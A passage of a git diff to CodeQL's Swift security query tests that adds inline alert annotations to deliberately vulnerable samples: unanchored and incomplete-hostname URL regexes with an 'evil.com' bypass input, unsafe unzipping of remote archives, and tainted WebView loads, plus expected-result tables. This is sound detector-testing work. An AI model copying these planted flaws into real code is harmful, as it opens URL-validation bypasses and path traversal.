74 ++--- .../Security/CWE-311/sqlite3_c_api.swift | 10 +- .../Security/CWE-311/testAlamofire.swift | 6 +- .../Security/CWE-311/testCoreData.swift | 40 +-- .../Security/CWE-311/testCoreData2.swift | 56 ++-- .../Security/CWE-311/testGRDB.swift | 102 +++---- .../Security/CWE-311/testRealm.swift | 10 +- .../Security/CWE-311/testRealm2.swift | 14 +- .../Security/CWE-311/testSend.swift | 36 +-- .../Security/CWE-311/testURL.swift | 30 +- .../CleartextStoragePreferences.expected | 32 +- .../CWE-312/CleartextStoragePreferences.qlref | 3 +- .../CWE-312/cleartextLoggingTest.swift | 136 ++++----- .../testNSUbiquitousKeyValueStore.swift | 24 +- .../Security/CWE-312/testUserDefaults.swift | 26 +- .../Security/CWE-327/ECBEncryption.qlref | 3 +- .../query-tests/Security/CWE-327/test.swift | 22 +- .../CWE-328/WeakPasswordHashing.expected | 98 +++--- .../CWE-328/WeakPasswordHashing.qlref | 3 +- .../CWE-328/WeakSensitiveDataHashing.qlref | 3 +- .../Security/CWE-328/testCryptoKit.swift | 110 +++---- .../Security/CWE-328/testCryptoSwift.swift | 68 ++--- .../Security/CWE-730/RegexInjection.expected | 48 +-- .../Security/CWE-730/RegexInjection.qlref | 3 +- .../query-tests/Security/CWE-730/tests.swift | 48 +-- .../Security/CWE-760/ConstantSalt.qlref | 3 +- .../Security/CWE-760/rncryptor.swift | 24 +- .../query-tests/Security/CWE-760/test.swift | 20 +- .../CWE-916/InsufficientHashIterations.qlref | 3 +- .../query-tests/Security/CWE-916/test.swift | 10 +- 60 files changed, 1068 insertions(+), 1049 deletions(-) diff --git a/swift/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegex.qlref b/swift/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegex.qlref index b80ac364258..6b46d67a849 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegex.qlref +++ b/swift/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegex.qlref @@ -1 +1,2 @@ -queries/Security/CWE-020/IncompleteHostnameRegex.ql +query: queries/Security/CWE-020/IncompleteHostnameRegex.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-020/MissingRegexAnchor.qlref b/swift/ql/test/query-tests/Security/CWE-020/MissingRegexAnchor.qlref index 9b1f04d1a7a..4e76e1995e9 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/MissingRegexAnchor.qlref +++ b/swift/ql/test/query-tests/Security/CWE-020/MissingRegexAnchor.qlref @@ -1 +1,2 @@ -queries/Security/CWE-020/MissingRegexAnchor.ql +query: queries/Security/CWE-020/MissingRegexAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift b/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift index 3b0abe53048..d5d2f68be48 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift @@ -47,63 +47,63 @@ class NSString : NSObject { func tests(input: String) throws { _ = try Regex("^a|").firstMatch(in: input) - _ = try Regex("^a|b").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^a|b").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex("a|^b").firstMatch(in: input) _ = try Regex("^a|^b").firstMatch(in: input) - _ = try Regex("^a|b|c").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^a|b|c").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex("a|^b|c").firstMatch(in: input) _ = try Regex("a|b|^c").firstMatch(in: input) _ = try Regex("^a|^b|c").firstMatch(in: input) _ = try Regex("(^a)|b").firstMatch(in: input) - _ = try Regex("^a|(b)").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^a|(b)").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex("^a|(^b)").firstMatch(in: input) - _ = try Regex("^(a)|(b)").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^(a)|(b)").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) - _ = try Regex("a|b$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("a|b$").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex("a$|b").firstMatch(in: input) _ = try Regex("a$|b$").firstMatch(in: input) - _ = try Regex("a|b|c$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("a|b|c$").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex("a|b$|c").firstMatch(in: input) _ = try Regex("a$|b|c").firstMatch(in: input) _ = try Regex("a|b$|c$").firstMatch(in: input) _ = try Regex("a|(b$)").firstMatch(in: input) - _ = try Regex("(a)|b$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("(a)|b$").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex("(a$)|b$").firstMatch(in: input) - _ = try Regex("(a)|(b)$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("(a)|(b)$").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) - _ = try Regex(#"^good.com|better.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^good\.com|better\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^good\\.com|better\\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^good\\\.com|better\\\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^good\\\\.com|better\\\\.com"#).firstMatch(in: input) // BAD (missing anchor) + _ = try Regex(#"^good.com|better.com"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^good\.com|better\.com"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^good\\.com|better\\.com"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^good\\\.com|better\\\.com"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^good\\\\.com|better\\\\.com"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) - _ = try Regex("^foo|bar|baz$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^foo|bar|baz$").firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex("^foo|%").firstMatch(in: input) } func realWorld(input: String) throws { // real-world examples that have been anonymized a bit // the following are bad: - _ = try Regex(#"(\.xxx)|(\.yyy)|(\.zzz)$"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"(^left|right|center)\sbottom$"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"\.xxx|\.yyy|\.zzz$"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"\.xxx|\.yyy|\.zzz$"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"\.xxx|\.yyy|zzz$"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^([A-Z]|xxx[XY]$)"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^(xxx yyy zzz)|(xxx yyy)"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^(xxx yyy zzz)|(xxx yyy)|(1st( xxx)? yyy)|xxx|1st"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^(xxx:)|(yyy:)|(zzz:)"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^(xxx?:)|(yyy:zzz\/)"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^@media|@page"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^\s*(xxx?|yyy|zzz):|xxx:yyy"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^click|mouse|touch"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^http://good\.com|http://better\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^https?://good\.com|https?://better\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^mouse|touch|click|contextmenu|drop|dragover|dragend"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^xxx:|yyy:"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"_xxx|_yyy|_zzz$"#).firstMatch(in: input) // BAD (missing anchor) + _ = try Regex(#"(\.xxx)|(\.yyy)|(\.zzz)$"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"(^left|right|center)\sbottom$"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"\.xxx|\.yyy|\.zzz$"#).ignoresCase().firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"\.xxx|\.yyy|\.zzz$"#).ignoresCase().firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"\.xxx|\.yyy|zzz$"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^([A-Z]|xxx[XY]$)"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^(xxx yyy zzz)|(xxx yyy)"#).ignoresCase().firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^(xxx yyy zzz)|(xxx yyy)|(1st( xxx)? yyy)|xxx|1st"#).ignoresCase().firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^(xxx:)|(yyy:)|(zzz:)"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^(xxx?:)|(yyy:zzz\/)"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^@media|@page"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^\s*(xxx?|yyy|zzz):|xxx:yyy"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^click|mouse|touch"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^http://good\.com|http://better\.com"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^https?://good\.com|https?://better\.com"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^mouse|touch|click|contextmenu|drop|dragover|dragend"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^xxx:|yyy:"#).ignoresCase().firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"_xxx|_yyy|_zzz$"#).firstMatch(in: input) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex(#"em|%$"#).firstMatch(in: input) // BAD (missing anchor) [NOT DETECTED] - not flagged at the moment due to the anchor not being for letters // the following are MAYBE OK due to apparent complexity; not flagged diff --git a/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift b/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift index b2e8810e7b7..d096338401f 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift @@ -59,36 +59,36 @@ func tests(url: String, secure: Bool) throws { let input = "http://evil.com/?http://good.com" let inputRange = NSMakeRange(0, input.utf16.count) - _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) - _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) - _ = try NSRegularExpression(pattern: "^https?://good.com").matches(in: input, range: inputRange) // BAD (missing post-anchor) - _ = try NSRegularExpression(pattern: "(^https?://good1.com)|(^https?://good2.com)").matches(in: input, range: inputRange) // BAD (missing post-anchor) - _ = try NSRegularExpression(pattern: "(https?://good.com)|(^https?://goodie.com)").matches(in: input, range: inputRange) // BAD (missing anchor) + _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try NSRegularExpression(pattern: "^https?://good.com").matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing post-anchor) + _ = try NSRegularExpression(pattern: "(^https?://good1.com)|(^https?://good2.com)").matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing post-anchor) + _ = try NSRegularExpression(pattern: "(https?://good.com)|(^https?://goodie.com)").matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] Alert[swift/missing-regexp-anchor] // BAD (missing anchor) - _ = try NSRegularExpression(pattern: #"https?:\/\/good.com"#).matches(in: input, range: inputRange) // BAD (missing anchor) - _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) + _ = try NSRegularExpression(pattern: #"https?:\/\/good.com"#).matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) - if let _ = try NSRegularExpression(pattern: "https?://good.com").firstMatch(in: input, range: inputRange) { } // BAD (missing anchor) + if let _ = try NSRegularExpression(pattern: "https?://good.com").firstMatch(in: input, range: inputRange) { } // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) let input2 = "something" let input2Range = NSMakeRange(0, input2.utf16.count) _ = try NSRegularExpression(pattern: "other").firstMatch(in: input2, range: input2Range) // OK _ = try NSRegularExpression(pattern: "x.commissary").firstMatch(in: input2, range: input2Range) // OK - _ = try NSRegularExpression(pattern: #"https?://good.com"#).firstMatch(in: input, range: inputRange) // BAD (missing anchor) - _ = try NSRegularExpression(pattern: #"https?://good.com:8080"#).firstMatch(in: input, range: inputRange) // BAD (missing anchor) + _ = try NSRegularExpression(pattern: #"https?://good.com"#).firstMatch(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try NSRegularExpression(pattern: #"https?://good.com:8080"#).firstMatch(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) let trustedUrlRegexs = [ - "https?://good.com", // BAD (missing anchor), referenced below - #"https?:\/\/good.com"#, // BAD (missing anchor), referenced below - "^https?://good.com" // BAD (missing post-anchor), referenced below + "https?://good.com", // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor), referenced below + #"https?:\/\/good.com"#, // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor), referenced below + "^https?://good.com" // $ Alert[swift/missing-regexp-anchor] // BAD (missing post-anchor), referenced below ] for trustedUrlRegex in trustedUrlRegexs { if let _ = try NSRegularExpression(pattern: trustedUrlRegex).firstMatch(in: input, range: inputRange) { } } let trustedUrlRegexs2 = [ - "https?://good.com", // BAD (missing anchor), referenced below + "https?://good.com", // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor), referenced below ] if let _ = try NSRegularExpression(pattern: trustedUrlRegexs2[0]).firstMatch(in: input, range: inputRange) { } @@ -98,13 +98,13 @@ func tests(url: String, secure: Bool) throws { for _ in notUsedUrlRegexs { } - _ = try NSRegularExpression(pattern: #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange) // BAD (missing anchor) + _ = try NSRegularExpression(pattern: #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try NSRegularExpression(pattern: "https://verygood.com/?id=" + #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange)[0] // OK _ = try NSRegularExpression(pattern: "http" + (secure ? "s" : "") + "://" + "verygood.com/?id=" + #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange)[0] // OK _ = try NSRegularExpression(pattern: "verygood.com/?id=" + #"https?:\/\/good.com\/([0-9]+)"#).matches(in: url, range: urlRange)[0] // OK _ = try NSRegularExpression(pattern: #"\.com|\.org"#).matches(in: input, range: inputRange) // OK, has no domain name - _ = try NSRegularExpression(pattern: #"example\.com|whatever"#).matches(in: input, range: inputRange) // OK, the other disjunction doesn't match a hostname [FALSE POSITIVE] + _ = try NSRegularExpression(pattern: #"example\.com|whatever"#).matches(in: input, range: inputRange) // $ Alert[swift/missing-regexp-anchor] // OK, the other disjunction doesn't match a hostname [FALSE POSITIVE] // tests for the `isLineAnchoredHostnameRegExp` case diff --git a/swift/ql/test/query-tests/Security/CWE-020/test.swift b/swift/ql/test/query-tests/Security/CWE-020/test.swift index e19af9050fd..321f5fcd56c 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/test.swift @@ -53,49 +53,49 @@ func testHostnames(myUrl: URL) throws { _ = try Regex(#"^http://example\.com/"#).firstMatch(in: tainted) // GOOD _ = try Regex(#"^http://example.com/"#).firstMatch(in: tainted) // GOOD (only '.' here gives a valid top-level domain) - _ = try Regex(#"^http://example.com"#).firstMatch(in: tainted) // BAD (missing anchor) + _ = try Regex(#"^http://example.com"#).firstMatch(in: tainted) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) _ = try Regex(#"^http://test\.example\.com/"#).firstMatch(in: tainted) // GOOD _ = try Regex(#"^http://test\.example.com/"#).firstMatch(in: tainted) // GOOD (only '.' here gives a valid top-level domain) - _ = try Regex(#"^http://test\.example.com"#).firstMatch(in: tainted) // BAD (missing anchor) - _ = try Regex(#"^http://test.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) + _ = try Regex(#"^http://test\.example.com"#).firstMatch(in: tainted) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^http://test.example.com/"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) _ = try Regex(#"^http://test[.]example[.]com/"#).firstMatch(in: tainted) // GOOD (alternative method of escaping) - _ = try Regex(#"^http://test.example.net/"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^http://test.(example-a|example-b).com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^http://(.+).example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname x 2) + _ = try Regex(#"^http://test.example.net/"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"^http://test.(example-a|example-b).com/"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"^http://(.+).example.com/"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname x 2) _ = try Regex(#"^http://(\.+)\.example.com/"#).firstMatch(in: tainted) // GOOD - _ = try Regex(#"^http://(?:.+)\.test\.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^http://test.example.com/(?:.*)"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^(.+\.(?:example-a|example-b)\.com)/"#).firstMatch(in: tainted) // BAD (missing anchor) - _ = try Regex(#"^(https?:)?//((service|www).)?example.com(?=$|/)"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^(http|https)://www.example.com/p/f/"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^(http://sub.example.com/)"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^https?://api.example.com/"#).firstMatch(in: tainted) // BAD (incomplete hostname) + _ = try Regex(#"^http://(?:.+)\.test\.example.com/"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"^http://test.example.com/(?:.*)"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"^(.+\.(?:example-a|example-b)\.com)/"#).firstMatch(in: tainted) // $ Alert[swift/missing-regexp-anchor] // BAD (missing anchor) + _ = try Regex(#"^(https?:)?//((service|www).)?example.com(?=$|/)"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"^(http|https)://www.example.com/p/f/"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"^(http://sub.example.com/)"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"^https?://api.example.com/"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) _ = try Regex(#"^http[s]?://?sub1\.sub2\.example\.com/f/(.+)"#).firstMatch(in: tainted) // GOOD (it has a capture group after the TLD, so should be ignored) - _ = try Regex(#"^https://[a-z]*.example.com$"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"^(example.dev|example.com)"#).firstMatch(in: tainted) // GOOD (any extended hostname wouldn't be included in the capture group) [FALSE POSITIVE] - _ = try Regex(#"^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)"#).firstMatch(in: tainted) // BAD (incomplete hostname x3, missing anchor x 1) + _ = try Regex(#"^https://[a-z]*.example.com$"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"^(example.dev|example.com)"#).firstMatch(in: tainted) // $ Alert[swift/missing-regexp-anchor] // GOOD (any extended hostname wouldn't be included in the capture group) [FALSE POSITIVE] + _ = try Regex(#"^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] Alert[swift/incomplete-hostname-regexp] Alert[swift/incomplete-hostname-regexp] Alert[swift/missing-regexp-anchor] // BAD (incomplete hostname x3, missing anchor x 1) _ = try Regex(#"^http://(..|...)\.example\.com/index\.html"#).firstMatch(in: tainted) // GOOD (wildcards are intentional) _ = try Regex(#"^http://.\.example\.com/index\.html"#).firstMatch(in: tainted) // GOOD (the wildcard is intentional) - _ = try Regex(#"^(foo.example\.com|whatever)$"#).firstMatch(in: tainted) // DUBIOUS (one disjunction doesn't even look like a hostname) [DETECTED incomplete hostname, missing anchor] + _ = try Regex(#"^(foo.example\.com|whatever)$"#).firstMatch(in: tainted) // $ Alert // DUBIOUS (one disjunction doesn't even look like a hostname) [DETECTED incomplete hostname, missing anchor] - _ = try Regex(#"^test.example.com$"#).firstMatch(in: tainted) // BAD (incomplete hostname) - _ = try Regex(#"test.example.com"#).wholeMatch(in: tainted) // BAD (incomplete hostname, missing anchor) + _ = try Regex(#"^test.example.com$"#).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) + _ = try Regex(#"test.example.com"#).wholeMatch(in: tainted) // $ Alert // BAD (incomplete hostname, missing anchor) - _ = try Regex(id(id(id(#"test.example.com$"#)))).firstMatch(in: tainted) // BAD (incomplete hostname) + _ = try Regex(id(id(id(#"test.example.com$"#)))).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) let hostname = #"test.example.com$"# // BAD (incomplete hostname) [NOT DETECTED] _ = try Regex("\(hostname)").firstMatch(in: tainted) var domain = MyDomain("") - domain.hostname = #"test.example.com$"# // BAD (incomplete hostname) + domain.hostname = #"test.example.com$"# // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) _ = try Regex(domain.hostname).firstMatch(in: tainted) func convert1(_ domain: MyDomain) throws -> Regex { return try Regex(domain.hostname) } - _ = try convert1(MyDomain(#"test.example.com$"#)).firstMatch(in: tainted) // BAD (incomplete hostname) + _ = try convert1(MyDomain(#"test.example.com$"#)).firstMatch(in: tainted) // $ Alert[swift/incomplete-hostname-regexp] // BAD (incomplete hostname) let domains = [ MyDomain(#"test.example.com$"#) ] // BAD (incomplete hostname) [NOT DETECTED] func convert2(_ domain: MyDomain) throws -> Regex { diff --git a/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.qlref b/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.qlref index 1d1a5a3a84c..f637622e3a1 100644 --- a/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.qlref +++ b/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-022/UnsafeUnpack.ql \ No newline at end of file +query: experimental/Security/CWE-022/UnsafeUnpack.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.swift b/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.swift index 5d7dc6c58b4..0f6a7cc8b28 100644 --- a/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.swift +++ b/swift/ql/test/query-tests/Security/CWE-022/UnsafeUnpack/UnsafeUnpack.swift @@ -59,12 +59,12 @@ func testCommandInjectionQhelpExamples() { let source = URL(fileURLWithPath: "/sourcePath") let destination = URL(fileURLWithPath: "/destination") - try Data(contentsOf: remoteURL, options: []).write(to: source) + try Data(contentsOf: remoteURL, options: []).write(to: source) // $ Source do { - try Zip.unzipFile(source, destination: destination, overwrite: true, password: nil) // BAD + try Zip.unzipFile(source, destination: destination, overwrite: true, password: nil) // $ Alert let fileManager = FileManager() - try fileManager.unzipItem(at: source, to: destination) // BAD + try fileManager.unzipItem(at: source, to: destination) // $ Alert } catch { print("Error: \(error)") } diff --git a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.expected b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.expected index c2fefc171e6..d796aa2da25 100644 --- a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.expected +++ b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.expected @@ -1,3 +1,22 @@ +#select +| UnsafeWebViewFetch.swift:103:25:103:84 | try! ... | UnsafeWebViewFetch.swift:103:30:103:84 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:103:25:103:84 | try! ... | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:106:25:106:25 | data | UnsafeWebViewFetch.swift:105:18:105:72 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:106:25:106:25 | data | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:109:25:109:53 | try! ... | UnsafeWebViewFetch.swift:109:30:109:53 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:109:25:109:53 | try! ... | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:120:25:120:39 | call to getRemoteData() | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:120:25:120:39 | call to getRemoteData() | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:121:25:121:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:121:25:121:25 | remoteString | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:124:25:124:51 | ... .+(_:_:) ... | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:124:25:124:51 | ... .+(_:_:) ... | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:127:25:127:25 | "..." | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:127:25:127:25 | "..." | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:139:25:139:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:139:25:139:25 | remoteString | Tainted data is used in a WebView fetch with a tainted base URL. | +| UnsafeWebViewFetch.swift:141:25:141:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:141:25:141:25 | remoteString | Tainted data is used in a WebView fetch with a tainted base URL. | +| 